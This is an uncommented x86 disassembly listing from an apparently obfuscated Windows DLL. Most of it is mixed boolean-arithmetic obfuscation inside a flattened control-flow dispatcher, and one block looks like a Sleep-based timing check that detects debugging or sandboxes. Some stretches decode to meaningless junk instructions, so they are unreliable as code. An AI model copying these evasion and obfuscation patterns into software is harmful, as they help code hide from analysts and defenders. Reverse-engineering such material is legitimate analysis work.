and ecx, 0xe3c98309
shl ecx, 1
sub ecx, 0xe3c98309
sub eax, ecx
mov ecx, 0x530f33b5
xor edx, edx
div ecx
mov edi, 0xffffffff
xor edi, 0xa62e1e40
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa62e1e40
or eax, 0xa62e1e40
imul eax, edx
add eax, ecx
sub eax, 0xd4b144ee
or eax, 0x7785c1e8
mov ecx, 0x27cdff1c
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x7c]
sub ecx, 0x6f6b31ce
mov edx, ecx
xor edx, 0xf2d03547
xor edx, 0xffffffff
or ecx, 0xf2d03547
and ecx, edx
imul ecx, ecx, 0xb7df1e61
imul edx, ecx, 0xbc43b92
mov ecx, edx
and ecx, 0xfa861b04
or edx, 0xfa861b04
add ecx, edx
and ecx, 0x3f83cad2
mov edi, ecx
or edi, edi
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4cc7d6e8
mov ebx, 0xffffffff
xor ebx, 0x4cc7d6e8
and edx, ebx
xor edi, 0xffffffff
xor edx, 0xffffffff
and edi, edx
or ecx, 0x4cc7d6e8
xor ecx, 0xffffffff
xor edi, 0xffffffff
xor ecx, 0xffffffff
and edi, ecx
mov ecx, 0x72c37adb
mov edx, 0x66db26ab
cmp edi, 0xc7815ec7
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov eax, dword [0x101cd074]
add eax, dword [0x101cd078]
mov ecx, 0x5b9855d5
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x291aa6c8
mov edx, 0xffffffff
xor edx, 0x291aa6c8
and eax, edx
sub eax, ecx
xor eax, 0xc5a1744f
mov edx, eax
xor edx, 0xffffffff
and edx, 0xc239bffd
mov edi, 0xffffffff
xor edi, 0xc239bffd
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xc239bffd
or eax, 0xc239bffd
imul eax, edx
add eax, ecx
sub eax, 0x96e881e4
add eax, 0x865f1bbc
add eax, 0xf0b70715
sub eax, 0x865f1bbc
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x97764f14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0xc4572452
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x226550ed
mov edi, 0xffffffff
xor edi, 0x226550ed
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x226550ed
or eax, 0x226550ed
imul eax, edx
add eax, ecx
mov ecx, 0x810b745d
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x83c62c39
mov edx, 0xffffffff
xor edx, 0xdcb16fde
mov eax, ecx
xor eax, edx
and eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x44a219ef
mov ecx, 0xffffffff
xor ecx, 0x8d71443c
or eax, edx
or ecx, 0x8d71443c
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xb4d0f9bb
xor edx, edx
div ecx
xor eax, 0xdf9e3631
mov edi, 0xffffffff
xor edi, 0xd1ea111e
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd1ea111e
or eax, 0xd1ea111e
imul eax, edx
add eax, ecx
sub eax, 0x3bec4561
sub eax, 0xc5e8c26
add eax, 0x3bec4561
or eax, 0x73ca5670
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe27b7e48
add eax, ecx
add eax, 0x2548d1ad
add eax, 0x7391e583
mov ecx, 0x6c51cb0a
xor edx, edx
div ecx
imul ecx, eax, 0xf86d3366
sub ecx, 0xe7af314c
or ecx, 0x3127d05f
and ecx, 0x3426131f
sub ecx, 0x974a3365
sub ecx, 0x359fbea4
add ecx, 0x974a3365
mov eax, ecx
and eax, 0x114791fa
xor ecx, 0x114791fa
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [esi + 0x24], edx
mov ebx, 0xffffffff
xor ebx, 0xef1303e2
mov edi, 0xffffffff
xor edi, 0xfdc20922
and edx, 0xfdc20922
and eax, edi
mov ecx, ebx
and ecx, 0xfdc20922
mov dword [esi + 0x20], ecx
mov ecx, edi
and ecx, 0xef1303e2
or edx, eax
mov eax, dword [esi + 0x20]
or eax, ecx
mov ecx, dword [esi + 0x24]
xor edx, eax
mov eax, dword [esi + 0x7c]
or ecx, ebx
xor ecx, 0xffffffff
or edi, 0xfdc20922
and ecx, edi
or edx, ecx
or edx, 0x42b8f46a
add edx, 0x5ade7c40
mov ecx, edx
xor ecx, 0x3bec4e70
xor ecx, 0xffffffff
or edx, 0x3bec4e70
and edx, ecx
mov ecx, edx
and ecx, 0xa721edff
xor ecx, 0xffffffff
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xa721edff
or edx, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, ecx
and edx, edx
xor edx, 0xffffffff
and edx, 0xfa78b66e
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xfa78b66e
mov ebx, 0xffffffff
xor ebx, 0xfa78b66e
or edi, ebx
xor ecx, 0xffffffff
xor edi, 0xffffffff
or ecx, edi
and edx, ecx
xor edx, 0xffffffff
xor edx, 0xab6b5da4
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0xf45884c1
mov edi, 0xffffffff
xor edi, 0xf45884c1
and edx, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
imul ecx, ecx, 0x914ddc2a
mov ebx, ecx
and ebx, 0x732626a3
xor ecx, 0x732626a3
or ebx, ecx
sub ebx, 0x3b6a1db7
sub ebx, 0x13a7a7ab
add ebx, 0x3b6a1db7
mov edi, ebx
xor edi, 0xffffffff
and edi, 0x73612852
mov edx, 0xffffffff
xor edx, 0x73612852
and ebx, edx
mov ecx, 0xffffffff
xor ecx, 0xa0c03470
and ecx, 0x73612852
and edx, 0xa0c03470
or edi, ebx
or ecx, edx
xor edi, ecx
mov ecx, 0x53fdc059
mov edx, 0x72c37adb
cmp edi, 0x209b21e1
cmove ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov ecx, dword [esi + 0x90]
xor ecx, ebp
call fcn.101ad838
mov eax, dword [esi + 0x34]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x101cd07c]
xor edx, edx
div dword [0x101cd080]
mov edi, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x757148ed
mov edx, 0xffffffff
xor edx, 0x757148ed
and edi, edx
mov eax, 0xffffffff
xor eax, 0x8ff10942
and eax, 0x757148ed
and edx, 0x8ff10942
or ecx, edi
or eax, edx
xor ecx, eax
xor ecx, 0xb22332d
mov edi, 0xffffffff
xor edi, 0x306fbcd8
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x306fbcd8
or ecx, 0x306fbcd8
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xffe0edd2
xor ecx, 0xffe0edd2
or eax, ecx
and eax, 0xa8e8cdf5
add eax, 0xcbb9a3e4
or eax, 0xdab43d61
mov ecx, 0x246dd57b
xor edx, edx
div ecx
add eax, 0xb0025bd2
sub eax, 0x304994c5
sub eax, 0xb0025bd2
mov edi, 0xffffffff
xor edi, 0x8f279132
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8f279132
or eax, 0x8f279132
imul eax, edx
add eax, ecx
mov edi, 0xffffffff
xor edi, 0x5d2ab4f3
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5d2ab4f3
or eax, 0x5d2ab4f3
imul eax, edx
add eax, ecx
and eax, 0x4609a93e
or eax, 0x71880f35
xor eax, 0x515650d0
add eax, 0xd0dfeaaf
or eax, 0x5e907f43
and eax, 0xa189df69
sub eax, 0x8440e971
sub eax, 0x548a128a
add eax, 0x8440e971
or eax, 0x522ca884
mov ecx, 0xffffffff
xor ecx, 0x976fc4bb
mov edi, eax
xor edi, ecx
and edi, eax
mov eax, edi
add eax, 1
xor edi, 0xffffffff
or edi, 0xddb27e3b
add edi, eax
add edi, 0xbf52cfe5
sub edi, 0xb62f71a3
sub edi, 0xbf52cfe5
mov eax, edi
xor eax, 0xffffffff
and eax, 0x38d71cb0
mov edx, 0xffffffff
xor edx, 0x38d71cb0
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xca40b824
and ecx, 0x38d71cb0
and edx, 0xca40b824
or eax, edi
or ecx, edx
xor eax, ecx
or eax, 0xf338866f
add eax, 0xa498264d
add eax, 0x6080950b
add eax, 0x455fbf0f
sub eax, 0x6080950b
mov ecx, 0x7d517183
xor edx, edx
div ecx
add eax, 0x6d59d610
sub eax, 0x3db1145d
sub eax, 0x6d59d610
mov ecx, 0x4e2b2c07
xor edx, edx
div ecx
and eax, 0x21da8c69
mov ecx, eax
and ecx, 0xfde59b55
xor ecx, 0xffffffff
add eax, 0xfde59b55
add eax, 1
add eax, ecx
mov ecx, eax
xor ecx, 0xdf1d5c84
mov edx, 0xffffffff
xor edx, 0xdf1d5c84
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0x74fb7b24
mov ecx, 0xf0865360
xor edx, edx
div ecx
add eax, 0xf9ff7a48
add eax, 0x1969d497
sub eax, 0xf9ff7a48
xor eax, 0xe123ca6
add eax, 0x6faa552a
add eax, 0x98c63562
sub eax, 0x6faa552a
mov ecx, 0x516eaa47
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x7c]
xor ecx, ecx
sub ecx, 0x370e84c4
add edi, ecx
xor edi, 0xf6c8af08
mov ecx, 0x909316b4
mov edx, 0x4a8ed4af
cmp edi, 0x46dfd62d
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov ecx, dword [0x101cd084]
add ecx, dword [0x101cd088]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x47bac114
mov edx, 0xffffffff
xor edx, 0x47bac114
and ecx, edx
or eax, ecx
and eax, 0xe0443be3
mov ecx, eax
xor ecx, 0xf4926239
xor ecx, 0xffffffff
or eax, 0xf4926239
and eax, ecx
mov ecx, 0x927a05e1
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xaf4bbadc
sub eax, ecx
add eax, 0x76a34607
mov edx, eax
xor edx, 0xffffffff
and edx, 0xed89282e
mov edi, 0xffffffff
xor edi, 0xed89282e
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xed89282e
or eax, 0xed89282e
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x9d9e40b4
shl ecx, 1
xor eax, 0x9d9e40b4
add eax, ecx
mov ecx, 0xcfef85e4
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0xbd27b484
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x43a73b1a
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4ed02e40
mov edi, 0xffffffff
xor edi, 0x4ed02e40
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x4ed02e40
or eax, 0x4ed02e40
imul eax, edx
add eax, ecx
mov ecx, 0x2ac57df4
xor edx, edx
div ecx
or eax, 0xf5bcde94
mov ecx, eax
xor ecx, 0xd741e2bb
xor ecx, 0xffffffff
or eax, 0xd741e2bb
and eax, ecx
xor eax, 0x3be60673
mov ecx, eax
xor ecx, 0x587dc87b
xor ecx, 0xffffffff
or eax, 0x587dc87b
and eax, ecx
sub eax, 0xba4cf1e2
sub eax, 0x45dd591
add eax, 0xba4cf1e2
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
and ecx, 0x94907c85
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x94907c85
mov edi, 0xffffffff
xor edi, 0x94907c85
or edx, edi
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
sub ecx, 0xd1c4d230
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xf66e7863
or edx, 0xf66e7863
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xf66e7863
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, 0xffffffff
xor edx, 0xfdd409c0
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xfdd409c0
add eax, edx
sub eax, ecx
sub eax, 0x5001fcdc
add eax, 0x203e044f
add eax, 0x5001fcdc
imul eax, eax, 0xa73de4c
or eax, 0xe5a1b852
mov ecx, eax
and ecx, 0x998452b5
shl ecx, 1
xor eax, 0x998452b5
add eax, ecx
and eax, 0xcd35ded2
xor eax, 0xc6632492
imul eax, eax, 0x1ab8d207
mov ecx, 0xc70aae6c
xor edx, edx
div ecx
imul eax, eax, 0xe37c3ac4
mov ecx, 0x83495a0c
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x7c]
mov ebx, 0xffffffff
xor ebx, 0x8fa373b7
mov edx, edi
and edx, ebx
mov ecx, edi
or ecx, ebx
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0x8fa373b7
or edi, 0x8fa373b7
imul edi, edx
add edi, ecx
xor edi, 0x746e29d3
mov ebx, 0xffffffff
xor ebx, 0xecd703fa
mov edx, edi
and edx, ebx
mov ecx, edi
or ecx, ebx
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0xecd703fa
or edi, 0xecd703fa
imul edi, edx
add edi, ecx
xor edi, 0x42a893ac
test al, 0x42
mov ecx, edi
xor ecx, 0x73268be6
xor ecx, 0xffffffff
and ecx, 0x73268be6
shl ecx, 1
sub ecx, 0x73268be6
sub edi, ecx
and edi, 0xe028d26f
sub edi, 0x19eb714e
and edi, 0x8fa973c1
test dword [eax - 0x1cae6ce6], 0x2e1ce323
jnp 0x10069866
mov al, byte [0xb4b95625]
push ss
xchg ebx, eax
nop
mov edx, 0xae347d07
cmp edi, 0xe9c5d857
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
mov dword [eax], 0x23573fac
jmp 0x10069a97
dec dword [0xc7dfd3be]
popal
lock xor byte [ecx - 0x7caf22ee], al
in al, dx
or byte [ecx - 0x7187c19], cl
mov esp, edi
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 8], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 4], eax
mov esp, eax
push eax
push eax
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi], ecx
mov esp, ecx
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x1c], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x14], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x10], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0xc], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10069b30
mov ecx, dword [esi]
mov edx, dword [esi + 4]
mov eax, esp
mov dword [eax], edx
call fcn.1006b0d0
mov edx, dword [esi + 4]
mov ecx, dword [esi + 8]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10069aa0
mov ecx, dword [esi + 8]
add esp, 8
call fcn.1006b100
mov ecx, eax
sub esp, 0x10
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0x3e8
call fcn.101ada30
mov dword [edi + 4], edx
mov dword [edi], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0xf0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
mov ecx, dword [esi + 0xc]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10069b30
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 0x10]
mov eax, esp
mov dword [eax], edx
call fcn.1006b0d0
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10069aa0
mov ecx, dword [esi + 0x14]
add esp, 8
call fcn.1006b100
mov ecx, eax
sub esp, 0x10
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0x3e8
call fcn.101ada30
mov ecx, dword [esi + 0x18]
mov ebx, eax
mov eax, edx
mov edx, dword [esi + 0x1c]
mov dword [edx + 4], eax
mov eax, dword [esi + 0x7c]
mov dword [edx], ebx
mov edx, dword [edx]
mov edi, dword [edi]
sub edx, edi
add edx, 0xffffff10
mov dword [ecx], edx
mov dword [eax], 0x8b562909
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
jae 0x10069a43
adc eax, 0x51c2766b
mov bh, 0xd7
pop ecx
pushfd
or esp, esi
invalid
add byte [eax], al
add byte [ebx - 0x2d6383ba], cl
adc eax, 0xf20f5228
mov eax, dword [esi + 0x7c]
pushfd
rcl byte [0xf20f5228], cl
call 0x4d4ba23d
mov dword [eax], 0x66db26ab
jmp 0x10069a97
mov eax, dword [esi + 0x7c]
psrad mm7, qword [edx + edi*4 + 0x23]
inc esp
mov byte [ecx], dh
xchg esp, eax
fisttp dword [eax + ebx*4 - 0x6f]
push es
cmp dword [edi - 9], 0xffffff84
mov al, byte [0xe351931a]
and esp, ebx
sbb al, 0x2e
jnp 0x10069a51
mov al, byte [0xc75625]
scasd eax, dword es:[edi]
aam 0x8e
dec edx
jmp 0x10067f58